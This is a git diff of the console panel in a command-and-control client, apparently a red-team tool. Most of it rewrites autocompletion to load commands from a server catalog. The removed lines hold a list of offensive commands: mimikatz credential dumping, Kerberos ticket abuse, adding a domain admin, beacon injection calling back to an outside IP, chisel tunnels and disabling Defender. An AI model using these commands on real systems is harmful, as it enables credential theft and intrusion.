") + + self.details.setHtml("".join(parts)) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 1d5c6cf..4d5e331 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -1,315 +1,716 @@ -import sys import os import time import re, html import uuid +import json +import logging from datetime import datetime -from threading import Thread, Lock +from typing import Any -from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal, pyqtSlot -from PyQt6.QtGui import QFont, QStandardItem, QStandardItemModel, QTextCursor, QShortcut +from PyQt6.QtCore import QObject, Qt, QEvent, QThread, pyqtSignal +from PyQt6.QtGui import QTextCursor, QTextDocument, QShortcut from PyQt6.QtWidgets import ( QWidget, + QTabBar, QTabWidget, QVBoxLayout, QHBoxLayout, QTextEdit, QLineEdit, - QCompleter, - QTableWidget, - QTableWidgetItem, + QCheckBox, + QLabel, + QPushButton, ) -from .grpcClient import GrpcClient, TeamServerApi_pb2 +from .grpcClient import TeamServerApi_pb2 from .TerminalPanel import Terminal from .ScriptPanel import Script from .AssistantPanel import Assistant +from .ArtifactPanel import Artifacts, ArtifactTabTitle +from .CommandPanel import Commands, CommandTabTitle from .TerminalModules.Credentials import credentials +from .console_style import ( + CONSOLE_COLORS, + apply_console_output_style, + console_header_html, + console_pre_html, + console_status_html, + move_editor_to_end, +) +from .autocomplete import CompletionInput, CompletionOption, completion_options +from .env import env_path from .grpc_status import is_response_ok, response_message +from .panel_style import apply_dark_panel_style + +logger = logging.getLogger(__name__) +CONSOLE_EVENT_PREFIX = "[console] " # # Log # -try: - import pkg_resources - logsDir = pkg_resources.resource_filename( - 'C2Client', - 'logs' - ) - -except ImportError: - logsDir = os.path.join(os.path.dirname(__file__), 'logs') +configuredLogsDir = env_path("C2_LOG_DIR") +if configuredLogsDir: + logsDir = str(configuredLogsDir) +else: + try: + import pkg_resources + logsDir = pkg_resources.resource_filename( + 'C2Client', + 'logs' + ) + + except ImportError: + logsDir = os.path.join(os.path.dirname(__file__), 'logs') if not os.path.exists(logsDir): os.makedirs(logsDir) - # # Constant # TerminalTabTitle = "Terminal" +SYSTEM_TAB_COUNT = 5 CmdHistoryFileName = ".cmdHistory" HelpInstruction = "help" -SleepInstruction = "sleep" -EndInstruction = "end" -ListenerInstruction = "listener" -LoadModuleInstruction = "loadModule" - -AssemblyExecInstruction = "assemblyExec" -UploadInstruction = "upload" -RunInstruction = "run" -DownloadInstruction = "download" -InjectInstruction = "inject" -ScriptInstruction = "script" -PwdInstruction = "pwd" -CdInstruction = "cd" -LsInstruction = "ls" -PsInstruction = "ps" -CatInstruction = "cat" -TreeInstruction = "tree" -MakeTokenInstruction = "makeToken" -Rev2selfInstruction = "rev2self" -StealTokenInstruction = "stealToken" -CoffLoaderInstruction = "coffLoader" -UnloadModuleInstruction = "unloadModule" -KerberosUseTicketInstruction = "kerberosUseTicket" -PowershellInstruction = "powershell" -ChiselInstruction = "chisel" -PsExecInstruction = "psExec" -WmiInstruction = "wmiExec" -SpawnAsInstruction = "spawnAs" -EvasionInstruction = "evasion" -KeyLoggerInstruction = "keyLogger" -MiniDumpInstruction = "miniDump" -DotnetExecInstruction = "dotnetExec" - -StartInstruction = "start" -StopInstruction = "stop" - -completerData = [ - (HelpInstruction,[]), - (SleepInstruction,[]), - (EndInstruction,[]), - (ListenerInstruction,[ - (StartInstruction+' smb pipename',[]), - (StartInstruction+' tcp 127.0.0.1 4444',[]), - (StopInstruction, []), - ]), - (AssemblyExecInstruction,[ - ('-e',[ - ('mimikatz.exe',[ - ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]), - ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]), - ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]), - ('"sekurlsa::logonpasswords" "exit"', []), - ('"sekurlsa::ekeys" "exit"', []), - ('"lsadump::sam" "exit"', []), - ('"lsadump::cache" "exit"', []), - ('"lsadump::secrets" "exit"', []), - ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []), - ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []), - ('"sekurlsa::dpapi" "exit"', []), - ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []), - ]), - - ('SharpView.exe Get-DomainComputer', []), - ('Rubeus.exe',[ - ('triage',[]), - ('purge',[]), - ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []), - ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []), - ]), - ('Seatbelt.exe',[ - ('-group=system',[]), - ('-group=user',[]), - ]), - ('SharpHound.exe -c All -d dev.admin.offshore.com', []), - ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []), - ]), - ]), - (UploadInstruction,[]), - (RunInstruction,[ - ('cmd /c', []), - ('cmd /c sc query', []), - ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []), - ('cmd /c where /r c:\\ *.txt', []), - ('cmd /c tasklist /SVC', []), - ('cmd /c taskkill /pid 845 /f', []), - ('cmd /c schtasks /query /fo LIST /v', []), - ('cmd /c net user superadmin123 Password123!* /add', []), - ('cmd /c net localgroup administrators superadmin123 /add', []), - ('cmd /c net user superadmin123 Password123!* /add /domain', []), - ('cmd /c net group "domain admins" superadmin123 /add /domain', []), - ]), - (DownloadInstruction,[]), - (InjectInstruction,[ - ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []), - ('-e implant.exe -1', []), - ]), - (ScriptInstruction,[]), - (PwdInstruction,[]), - (CdInstruction,[]), - (LsInstruction,[]), - (PsInstruction,[]), - (CatInstruction,[]), - (TreeInstruction,[]), - (MakeTokenInstruction,[]), - (Rev2selfInstruction,[]), - (StealTokenInstruction,[]), - (CoffLoaderInstruction,[ - ('adcs_enum.x64.o', [('go',[])]), - ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]), - ('adcs_enum_com2.x64.o', [('go',[])]), - ('adv_audit_policies.x64.o', [('go',[])]), - ('arp.x64.o', [('go',[])]), - ('cacls.x64.o', [('go zz hostname servicename',[])]), - ('dir.x64.o', [('go Zs targetdir subdirs',[])]), - ('driversigs.x64.o', [('go Zi name, 0',[])]), - ('enum_filter_driver.x64.o', [('go',[])]), - ('enumlocalsessions.x64.o', [('go zz modname procname',[])]), - ('env.x64.o', [('go',[])]), - ('findLoadedModule.x64.o', [('go',[])]), - ('get-netsession.x64.o', [('go',[])]), - ('get_password_policy.x64.o', [('go Z server',[])]), - ('ipconfig.x64.o', [('go',[])]), - ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('listdns.x64.o', [('go',[])]), - ('listmods.x64.o', [('go i pid',[])]), - ('locale.x64.o', [('go',[])]), - ('netgroup.x64.o', [('go sZZ type server group',[])]), - ('netlocalgroup.x64.o', [('go',[])]), - ('netshares.x64.o', [('go Zi name, 1',[])]), - ('netstat.x64.o', [('go',[])]), - ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]), - ('netuser.x64.o', [('go ZZ 2 domain',[])]), - ('netuserenum.x64.o', [('go',[])]), - ('netview.x64.o', [('go Z domain',[])]), - ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('nslookup.x64.o', [('go zzs lookup server type',[])]), - ('probe.x64.o', [('go zi host port',[])]), - ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]), - ('resources.x64.o', [('go',[])]), - ('routeprint.x64.o', [('go',[])]), - ('sc_enum.x64.o', [('go',[])]), - ('schtasksenum.x64.o', [('go ZZ 2 3',[])]), - ('schtasksquery.x64.o', [('go',[])]), - ('sc_qc.x64.o', [('go zz hostname servicename',[])]), - ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]), - ('sc_qfailure.x64.o', [('go',[])]), - ('sc_qtriggerinfo.x64.o', [('go',[])]), - ('sc_query.x64.o', [('go',[])]), - ('tasklist.x64.o', [('go Z system',[])]), - ('uptime.x64.o', [('go',[])]), - ('vssenum.x64.o', [('go',[])]), - ('whoami.x64.o', [('go',[])]), - ('windowlist.x64.o', [('go',[])]), - ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]), - ]), - (MiniDumpInstruction, [ - ('dump dump.xor', []), - ('decrypt /tmp/dump.xor', []), - ]), - (DotnetExecInstruction, [ - ('load rub Rubeus.exe', []), - ('runExe rub help', []), - ]), - (UnloadModuleInstruction,[ - (AssemblyExecInstruction, []), - (CdInstruction, []), - (CoffLoaderInstruction, []), - (DownloadInstruction, []), - (InjectInstruction, []), - (LsInstruction, []), - (PsInstruction, []), - (MakeTokenInstruction, []), - (PwdInstruction, []), - (Rev2selfInstruction, []), - (RunInstruction, []), - (ScriptInstruction, []), - (StealTokenInstruction, []), - (UploadInstruction, []), - (PowershellInstruction, []), - (PsExecInstruction, []), - (KerberosUseTicketInstruction, []), - (ChiselInstruction, []), - (EvasionInstruction, []), - (SpawnAsInstruction, []), - (WmiInstruction, []), - (KeyLoggerInstruction, []), - (MiniDumpInstruction, []), - (DotnetExecInstruction, []), - ]), - (KerberosUseTicketInstruction,[]), - (PowershellInstruction,[ - ('-i PowerView.ps1', []), - ('Get-Domain', []), - ('Get-DomainTrust', []), - ('Get-DomainUser', []), - ('Get-DomainComputer -Properties DnsHostName', []), - ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []), - ('-i PowerUp.ps1', []), - ('Invoke-AllChecks', []), - ('-i Powermad.ps1', []), - ('-i PowerUpSQL.ps1', []), - ('Set-MpPreference -DisableRealtimeMonitoring $true', []), - ]), - (ChiselInstruction,[ - ('status', []), - ('stop', []), - ('chisel.exe client 192.168.57.21:9001 R:socks', []), - ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []), - ]), - (PsExecInstruction,[ - ('10.10.10.10 implant.exe', []), - ]), - (WmiInstruction,[ - ('10.10.10.10 implant.exe', []), - ]), - (SpawnAsInstruction,[ - ('user password implant.exe', []), - ]), - (EvasionInstruction,[ - ('CheckHooks', []), - ('Unhook', []), - ]), - (KeyLoggerInstruction,[ - ('start', []), - ('stop', []), - ('dump', []), - ]), - (LoadModuleInstruction,[ - ('changeDirectory', []), - ('listDirectory', []), - ('listProcesses', []), - ('printWorkingDirectory', []), - (CdInstruction, []), - (LsInstruction, []), - (PsInstruction, []), - (PwdInstruction, []), - (AssemblyExecInstruction, []), - (CoffLoaderInstruction, []), - (DownloadInstruction, []), - (InjectInstruction, []), - (MakeTokenInstruction, []), - (Rev2selfInstruction, []), - (RunInstruction, []), - (ScriptInstruction, []), - (StealTokenInstruction, []), - (UploadInstruction, []), - (PowershellInstruction, []), - (PsExecInstruction, []), - (KerberosUseTicketInstruction, []), - (ChiselInstruction, []), - (EvasionInstruction, []), - (SpawnAsInstruction, []), - (WmiInstruction, []), - (KeyLoggerInstruction, []), - (MiniDumpInstruction, []), - (DotnetExecInstruction, []), - ]), -] +ListModuleInstruction = "listModule" +COMPLETER_REFRESH_SECONDS = 5.0 + +MODULE_COMMAND_ALIASES = { + "changedirectory": "cd", + "listdirectory": "ls", + "listprocesses": "ps", + "printworkingdirectory": "pwd", +} +PID_COMPLETION_PLACEHOLDER = "" +DOTNET_LOAD_NAME_PLACEHOLDER = "" + + +def normalize_console_completion_text(command_text: str) -> tuple[str, dict[str, str]]: + parts = str(command_text or "").split(" ") + placeholder_values: dict[str, str] = {} + if parts and parts[0] == "inject": + for index, part in enumerate(parts[:-1]): + if part == "--pid" and parts[index + 1]: + placeholder_values[PID_COMPLETION_PLACEHOLDER] = parts[index + 1] + parts[index + 1] = PID_COMPLETION_PLACEHOLDER + break + if len(parts) >= 3 and parts[0] == "dotnetExec" and parts[1] == "load" and parts[2]: + placeholder_values[DOTNET_LOAD_NAME_PLACEHOLDER] = parts[2] + parts[2] = DOTNET_LOAD_NAME_PLACEHOLDER + return " ".join(parts), placeholder_values + + +def restore_console_completion_text(command_text: str, placeholder_values: dict[str, str]) -> str: + text = str(command_text or "") + for placeholder, replacement in placeholder_values.items(): + text = text.replace(placeholder, replacement) + return text + + +def console_completion_options( + completion_data: list[tuple], + command_text: str, + *, + descend_exact: bool = False, +) -> list[CompletionOption]: + normalized_text, placeholder_values = normalize_console_completion_text(command_text) + options = completion_options(completion_data, normalized_text, descend_exact=descend_exact) + return [ + CompletionOption( + label=option.label, + insert_text=option.insert_text, + full_text=restore_console_completion_text(option.full_text, placeholder_values), + has_children=option.has_children, + ) + for option in options + ] + + +def _completion_suffix(command_name: Any, example: Any): + command_name = str(command_name or "").strip() + example = str(example or "").strip() + if not command_name or not example: + return None + if example == command_name: + return None + prefix = command_name + " " + if example.startswith(prefix): + return example[len(prefix):].strip() + return example + + +def _entry_text(entry: tuple[str, list]) -> str: + return entry[0] + + +def _find_entry(entries: list[tuple[str, list]], text: str): + for entry in entries: + if _entry_text(entry) == text: + return entry + return None + + +def _add_completion_path(entries: list[tuple[str, list]], parts: list[str]) -> None: + if not parts: + return + text = str(parts[0] or "").strip() + if not text: + _add_completion_path(entries, parts[1:]) + return + + entry = _find_entry(entries, text) + if entry is None: + entry = (text, []) + entries.append(entry) + _add_completion_path(entry[1], parts[1:]) + + +def _add_completion_value(entries: list[tuple[str, list]], value: Any) -> None: + text = str(value or "").strip() + if text: + _add_completion_path(entries, text.split()) + + +def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple[str, list]]) -> None: + for text, children in source: + _add_completion_path(destination, [text]) + destination_entry = _find_entry(destination, text) + if destination_entry is not None and children: + _merge_completion_entries(destination_entry[1], children) + + +def _add_example_completions(children: list[tuple[str, list]], command: Any) -> None: + if _command_has_artifact_args(command): + return + command_name = getattr(command, "name", "") + for example in getattr(command, "examples", []): + suffix = _completion_suffix(command_name, example) + if suffix: + _add_completion_value(children, suffix) + + +def _arg_is_flag(arg: Any) -> bool: + name = str(getattr(arg, "name", "") or "").strip() + arg_type = str(getattr(arg, "type", "") or "").strip().lower() + return arg_type == "flag" or name.startswith("-") + + +def _arg_name(arg: Any) -> str: + return str(getattr(arg, "name", "") or "").strip() + + +def _command_has_artifact_args(command: Any) -> bool: + return any(_arg_has_artifact_filter(arg) for arg in getattr(command, "args", [])) + + +def _flag_is_context_only(arg: Any) -> bool: + return _arg_name(arg) in {"--method"} + + +def _source_flag_args(args: list[Any]) -> list[Any]: + return [ + arg + for arg in args + if _arg_is_flag(arg) and _arg_name(arg) not in {"--mode", "--method"} + ] + + +def _inject_payload_flag_args(args: list[Any]) -> list[Any]: + return [ + arg + for arg in args + if _arg_name(arg) in {"--raw", "--donut-exe", "--donut-dll"} + ] + + +def _argument_artifact_completion_values(artifact: Any) -> list[str]: + return _dedupe_values([ + str(getattr(artifact, "name", "") or "").strip(), + str(getattr(artifact, "display_name", "") or "").strip(), + ]) + + +def _artifact_value_continuations(arg: Any, command_name: str = "") -> list[str]: + name = _arg_name(arg) + if command_name == "inject": + if name == "--donut-dll": + return ["--pid", "--method", "--"] + if name in {"--raw", "--donut-exe"}: + continuations = ["--pid"] + if name == "--donut-exe": + continuations.append("--") + return continuations + if name == "--donut-exe": + return ["--"] + if name == "--donut-dll": + return ["--method"] + return [] + + +def _artifact_specific_continuations(arg: Any, command_name: str, artifact_value: str) -> list[str]: + if command_name == "dotnetExec" and _arg_name(arg) == "assembly_artifact": + if artifact_value.lower().endswith(".dll"): + return [""] + return [] + + +def _add_inject_pid_continuations(children: list[tuple[str, list]], arg: Any) -> None: + pid_entry = _find_entry(children, "--pid") + if pid_entry is None: + return + + _add_completion_path(pid_entry[1], [PID_COMPLETION_PLACEHOLDER]) + value_entry = _find_entry(pid_entry[1], PID_COMPLETION_PLACEHOLDER) + if value_entry is None: + return + + name = _arg_name(arg) + if name == "--donut-exe": + _add_completion_value(value_entry[1], "--") + elif name == "--donut-dll": + _add_completion_value(value_entry[1], "--method") + _add_completion_value(value_entry[1], "--") + + +def _add_artifact_completions( + children: list[tuple[str, list]], + grpcClient: Any, + arg: Any, + session: Any | None, + command_name: str = "", +) -> None: + continuations = _artifact_value_continuations(arg, command_name) + for artifact in _load_artifacts_for_arg(grpcClient, arg, session): + for value in _argument_artifact_completion_values(artifact): + _add_completion_value(children, value) + artifact_entry = _find_entry(children, value) + if artifact_entry is not None: + artifact_continuations = [ + *continuations, + *_artifact_specific_continuations(arg, command_name, value), + ] + for continuation in artifact_continuations: + _add_completion_value(artifact_entry[1], continuation) + if command_name == "inject": + _add_inject_pid_continuations(artifact_entry[1], arg) + + +def _build_flag_entries( + args: list[Any], + grpcClient: Any = None, + session: Any | None = None, + *, + include_context_only: bool = False, + command_name: str = "", +) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for arg in args: + name = _arg_name(arg) + if not _arg_is_flag(arg) or not name: + continue + if not include_context_only and _flag_is_context_only(arg): + continue + + _add_completion_path(entries, [name]) + flag_entry = _find_entry(entries, name) + if flag_entry is None: + continue + for value in getattr(arg, "values", []): + _add_completion_value(flag_entry[1], value) + _add_artifact_completions(flag_entry[1], grpcClient, arg, session, command_name) + + if command_name == "inject" and name == "--pid": + _add_completion_path(flag_entry[1], [PID_COMPLETION_PLACEHOLDER]) + value_entry = _find_entry(flag_entry[1], PID_COMPLETION_PLACEHOLDER) + if value_entry is not None: + payload_flags = _build_flag_entries( + _inject_payload_flag_args(args), + grpcClient, + session, + command_name=command_name, + ) + _merge_completion_entries(value_entry[1], payload_flags) + return entries + + +def _add_mode_value_flag_completions( + entries: list[tuple[str, list]], + args: list[Any], + grpcClient: Any, + session: Any | None, +) -> None: + mode_entry = _find_entry(entries, "--mode") + if mode_entry is None: + return + + source_flag_entries = _build_flag_entries(_source_flag_args(args), grpcClient, session) + if not source_flag_entries: + return + for mode_value, children in mode_entry[1]: + _merge_completion_entries(children, source_flag_entries) + + +def _add_arg_completions( + children: list[tuple[str, list]], + command: Any, + grpcClient: Any = None, + session: Any | None = None, +) -> None: + args = list(getattr(command, "args", [])) + command_name = str(getattr(command, "name", "") or "") + flag_entries = _build_flag_entries(args, grpcClient, session, command_name=command_name) + _merge_completion_entries(children, flag_entries) + _add_mode_value_flag_completions(children, args, grpcClient, session) + + first_positional_done = False + for arg in args: + if _arg_is_flag(arg): + continue + + if first_positional_done: + continue + for value in getattr(arg, "values", []): + _add_completion_value(children, value) + _add_artifact_completions(children, grpcClient, arg, session, command_name) + first_positional_done = True + + for arg in args: + for parent in _arg_completion_parents(arg): + _add_completion_path(children, [parent]) + parent_entry = _find_entry(children, parent) + if parent_entry is None: + continue + for value in getattr(arg, "values", []): + _add_completion_value(parent_entry[1], value) + _add_artifact_completions(parent_entry[1], grpcClient, arg, session, command_name) + + +def _normalized_module_name(value: Any) -> str: + name = os.path.basename(str(value or "").strip()) + if "." in name: + name = name.rsplit(".", 1)[0] + if name.lower().startswith("lib") and len(name) > 3: + name = name[3:] + if not name: + return "" + return name[0].lower() + name[1:] + + +def _artifact_completion_values(artifact: Any) -> list[str]: + names = [ + _normalized_module_name(getattr(artifact, "display_name", "")), + _normalized_module_name(getattr(artifact, "name", "")), + str(getattr(artifact, "display_name", "") or "").strip(), + str(getattr(artifact, "name", "") or "").strip(), + ] + alias = MODULE_COMMAND_ALIASES.get(names[0].lower(), "") if names and names[0] else "" + return _dedupe_values([alias, *names]) + + +def _canonical_module_completion_name(value: Any) -> str: + normalized = _normalized_module_name(value) + if not normalized: + return "" + return MODULE_COMMAND_ALIASES.get(normalized.lower(), normalized) + + +def _remove_module_completions(children: list[tuple[str, list]], blocked_modules: set[str]) -> None: + if not blocked_modules: + return + children[:] = [ + child + for child in children + if _canonical_module_completion_name(child[0]) not in blocked_modules + ] + + +def _dedupe_values(values: list[Any]) -> list[str]: + result = [] + seen = set() + for value in values: + text = str(value or "").strip() + if not text or text in seen: + continue + result.append(text) + seen.add(text) + return result + + +def _session_platform(session: Any | None) -> str: + os_text = str(getattr(session, "os", "") or "").lower() + if "windows" in os_text or os_text.startswith("win"): + return "windows" + if "linux" in os_text: + return "linux" + return "" + + +def _resolve_filter_value(value: Any, session: Any | None) -> str: + text = str(value or "").strip() + if text == "session.platform": + return _session_platform(session) + if text == "session.arch": + return str(getattr(session, "arch", "") or "").strip() + return text + + +def _artifact_filters_for_arg(arg: Any) -> list[Any]: + artifact_filters = getattr(arg, "artifact_filters", None) + if artifact_filters is not None: + try: + filters = [artifact_filter for artifact_filter in artifact_filters if artifact_filter is not None] + except TypeError: + filters = [] + if filters: + return filters + + if not hasattr(arg, "artifact_filter"): + return [] + + artifact_filter = getattr(arg, "artifact_filter", None) + if artifact_filter is None: + return [] + if hasattr(arg, "HasField"): + try: + if not arg.HasField("artifact_filter"): + return [] + except ValueError: + pass + return [artifact_filter] + + +def _arg_has_artifact_filter(arg: Any) -> bool: + return bool(_artifact_filters_for_arg(arg)) + + +def _arg_completion_parents(arg: Any) -> list[str]: + try: + parents = getattr(arg, "completion_parents", []) + except Exception: + return [] + try: + return _dedupe_values([str(parent).strip() for parent in parents if str(parent).strip()]) + except TypeError: + return [] + + +def _artifact_query_from_filter(artifact_filter: Any, session: Any | None) -> Any: + query = TeamServerApi_pb2.ArtifactQuery() + for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains", "format"): + value = _resolve_filter_value(getattr(artifact_filter, field_name, ""), session) + if value: + setattr(query, field_name, value) + return query + + +def _load_commands(grpcClient: Any) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listCommands"): + return [] + try: + query = TeamServerApi_pb2.CommandQuery() + return list(grpcClient.listCommands(query)) + except Exception as exc: + logger.debug("Command autocomplete could not load CommandSpec catalog: %s", exc) + return [] + + +def _load_current_session(grpcClient: Any, beaconHash: str, listenerHash: str) -> Any | None: + if grpcClient is None or not hasattr(grpcClient, "listSessions") or not beaconHash: + return None + try: + for session in grpcClient.listSessions(): + if getattr(session, "beacon_hash", "") != beaconHash: + continue + if listenerHash and getattr(session, "listener_hash", "") != listenerHash: + continue + return session + except Exception as exc: + logger.debug("Command autocomplete could not load session context: %s", exc) + return None + + +def _load_listener_hashes(grpcClient: Any) -> list[str]: + if grpcClient is None or not hasattr(grpcClient, "listListeners"): + return [] + try: + return _dedupe_values([getattr(listener, "listener_hash", "") for listener in grpcClient.listListeners()]) + except Exception as exc: + logger.debug("Command autocomplete could not load listener context: %s", exc) + return [] + + +def _load_modules_for_session(grpcClient: Any, beaconHash: str, listenerHash: str) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listModules") or not beaconHash: + return [] + try: + session = TeamServerApi_pb2.SessionSelector(beacon_hash=beaconHash, listener_hash=listenerHash) + return list(grpcClient.listModules(session)) + except Exception as exc: + logger.debug("Command autocomplete could not load module context: %s", exc) + return [] + + +def _load_artifacts_for_arg(grpcClient: Any, arg: Any, session: Any | None) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listArtifacts") or not _arg_has_artifact_filter(arg): + return [] + + artifacts: list[Any] = [] + seen: set[tuple[str, str, str]] = set() + for artifact_filter in _artifact_filters_for_arg(arg): + try: + query = _artifact_query_from_filter(artifact_filter, session) + for artifact in grpcClient.listArtifacts(query): + key = ( + str(getattr(artifact, "artifact_id", "") or ""), + str(getattr(artifact, "name", "") or ""), + str(getattr(artifact, "display_name", "") or ""), + ) + if key in seen: + continue + seen.add(key) + artifacts.append(artifact) + except Exception as exc: + logger.debug("Command autocomplete could not load artifact context: %s", exc) + return artifacts + + +def _module_command_names(command_specs: list[Any]) -> list[str]: + return _dedupe_values([ + getattr(command, "name", "") + for command in command_specs + if str(getattr(command, "kind", "") or "").lower() == "module" + ]) + + +def _tracked_module_names(modules: list[Any], states: set[str]) -> list[str]: + return _dedupe_values([ + getattr(module, "name", "") + for module in modules + if str(getattr(module, "state", "") or "") in states + ]) + + +def _format_loaded_modules_for_console(modules: list[Any]) -> str: + rows = [] + for module in modules: + name = str(getattr(module, "name", "") or "").strip() + if not name: + continue + status = str(getattr(module, "state", "") or "unknown").strip() or "unknown" + rows.append((name, status)) + + if not rows: + return "No loaded modules." + + name_width = max(len("name"), *(len(name) for name, _status in rows)) + lines = [f"{'name'.ljust(name_width)} status"] + for name, status in rows: + lines.append(f"{name.ljust(name_width)} {status}") + return "\n".join(lines) + + +def _add_contextual_completions( + children: list[tuple[str, list]], + command: Any, + command_specs: list[Any], + grpcClient: Any, + session: Any | None, + listener_hashes: list[str], + tracked_modules: list[Any], +) -> None: + name = str(getattr(command, "name", "") or "") + active_module_names = set(_tracked_module_names(tracked_modules, {"loading", "loaded", "unloading"})) + loaded_module_names = _tracked_module_names(tracked_modules, {"loaded"}) + + if name == "listener": + for listener_hash in listener_hashes: + _add_completion_path(children, ["stop", listener_hash]) + + if name == HelpInstruction: + for command_name in _dedupe_values([getattr(spec, "name", "") for spec in command_specs]): + if command_name != HelpInstruction: + _add_completion_value(children, command_name) + + if name == "loadModule": + _remove_module_completions(children, active_module_names) + for module_name in _module_command_names(command_specs): + if module_name not in active_module_names: + _add_completion_value(children, module_name) + for arg in getattr(command, "args", []): + for artifact in _load_artifacts_for_arg(grpcClient, arg, session): + for value in _artifact_completion_values(artifact): + if _canonical_module_completion_name(value) not in active_module_names: + _add_completion_value(children, value) + + if name == "unloadModule": + children.clear() + for module_name in loaded_module_names: + _add_completion_value(children, module_name) + + if name == "dotnetExec": + load_entry = _find_entry(children, "load") + if load_entry is None: + _add_completion_path(children, ["load"]) + load_entry = _find_entry(children, "load") + if load_entry is not None: + _add_completion_path(load_entry[1], [DOTNET_LOAD_NAME_PLACEHOLDER]) + name_entry = _find_entry(load_entry[1], DOTNET_LOAD_NAME_PLACEHOLDER) + if name_entry is not None: + for arg in getattr(command, "args", []): + if _arg_name(arg) == "assembly_artifact": + _add_artifact_completions(name_entry[1], grpcClient, arg, session, name) + + +def command_specs_to_completer_data( + command_specs: list[Any], + grpcClient: Any = None, + session: Any | None = None, + listener_hashes: list[str] | None = None, + tracked_modules: list[Any] | None = None, +): + entries: list[tuple[str, list]] = [] + listener_hashes = listener_hashes or [] + tracked_modules = tracked_modules or [] + for command in command_specs: + name = str(getattr(command, "name", "") or "").strip() + if not name: + continue + children: list[tuple[str, list]] = [] + _add_example_completions(children, command) + _add_arg_completions(children, command, grpcClient, session) + _add_contextual_completions(children, command, command_specs, grpcClient, session, listener_hashes, tracked_modules) + _add_completion_path(entries, [name]) + entry = _find_entry(entries, name) + if entry is not None: + _merge_completion_entries(entry[1], children) + return entries + + +def build_completer_data(grpcClient: Any = None, beaconHash: str = "", listenerHash: str = ""): + command_specs = _load_commands(grpcClient) + session = _load_current_session(grpcClient, beaconHash, listenerHash) + listener_hashes = _load_listener_hashes(grpcClient) + tracked_modules = _load_modules_for_session(grpcClient, beaconHash, listenerHash) + return command_specs_to_completer_data(command_specs, grpcClient, session, listener_hashes, tracked_modules) + + +class CommandCompletionProvider: + def __init__(self, grpcClient: Any = None, beaconHash: str = "", listenerHash: str = "") -> None: + self.grpcClient = grpcClient + self.beaconHash = beaconHash + self.listenerHash = listenerHash + self._cachedData: list[tuple[str, list]] = [] + self._loadedAt = 0.0 + + def build(self, force: bool = False) -> list[tuple[str, list]]: + now = time.monotonic() + if not force and self._cachedData and now - self._loadedAt < COMPLETER_REFRESH_SECONDS: + return self._cachedData + self._cachedData = build_completer_data(self.grpcClient, self.beaconHash, self.listenerHash) + self._loadedAt = now + return self._cachedData # @@ -410,50 +811,109 @@ class ConsolesTab(QWidget): def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) - widget = QWidget(self) - self.layout = QHBoxLayout(widget) + self.setObjectName("C2ConsolesTab") + self.setStyleSheet( + f""" + QWidget#C2ConsolesTab, + QWidget#C2ConsolePage {{ + background-color: {CONSOLE_COLORS["background"]}; + }} + QTabWidget#C2ConsoleTabs {{ + background-color: #070b10; + border: 0; + }} + QTabWidget#C2ConsoleTabs::pane {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + top: -1px; + }} + QTabWidget#C2ConsoleTabs QStackedWidget {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 0; + }} + QTabWidget#C2ConsoleTabs QTabBar {{ + background-color: #070b10; + }} + """ + ) + self.layout = QHBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(0) # Initialize tab screen - self.tabs = QTabWidget() + self.tabs = QTabWidget(self) + self.tabs.setObjectName("C2ConsoleTabs") self.tabs.setTabsClosable(True) self.tabs.tabCloseRequested.connect(self.closeTab) # Add tabs to widget self.layout.addWidget(self.tabs) - self.setLayout(self.layout) self.grpcClient = grpcClient - tab = QWidget() - self.tabs.addTab(tab, TerminalTabTitle) - tab.layout = QVBoxLayout(self.tabs) self.terminal = Terminal(self, self.grpcClient) - tab.layout.addWidget(self.terminal) - tab.setLayout(tab.layout) + tab = self.createConsolePage(self.terminal) + self.tabs.addTab(tab, TerminalTabTitle) self.tabs.setCurrentIndex(self.tabs.count()-1) - tab = QWidget() - self.tabs.addTab(tab, "Script") - tab.layout = QVBoxLayout(self.tabs) self.script = Script(self, self.grpcClient) - tab.layout.addWidget(self.script) - 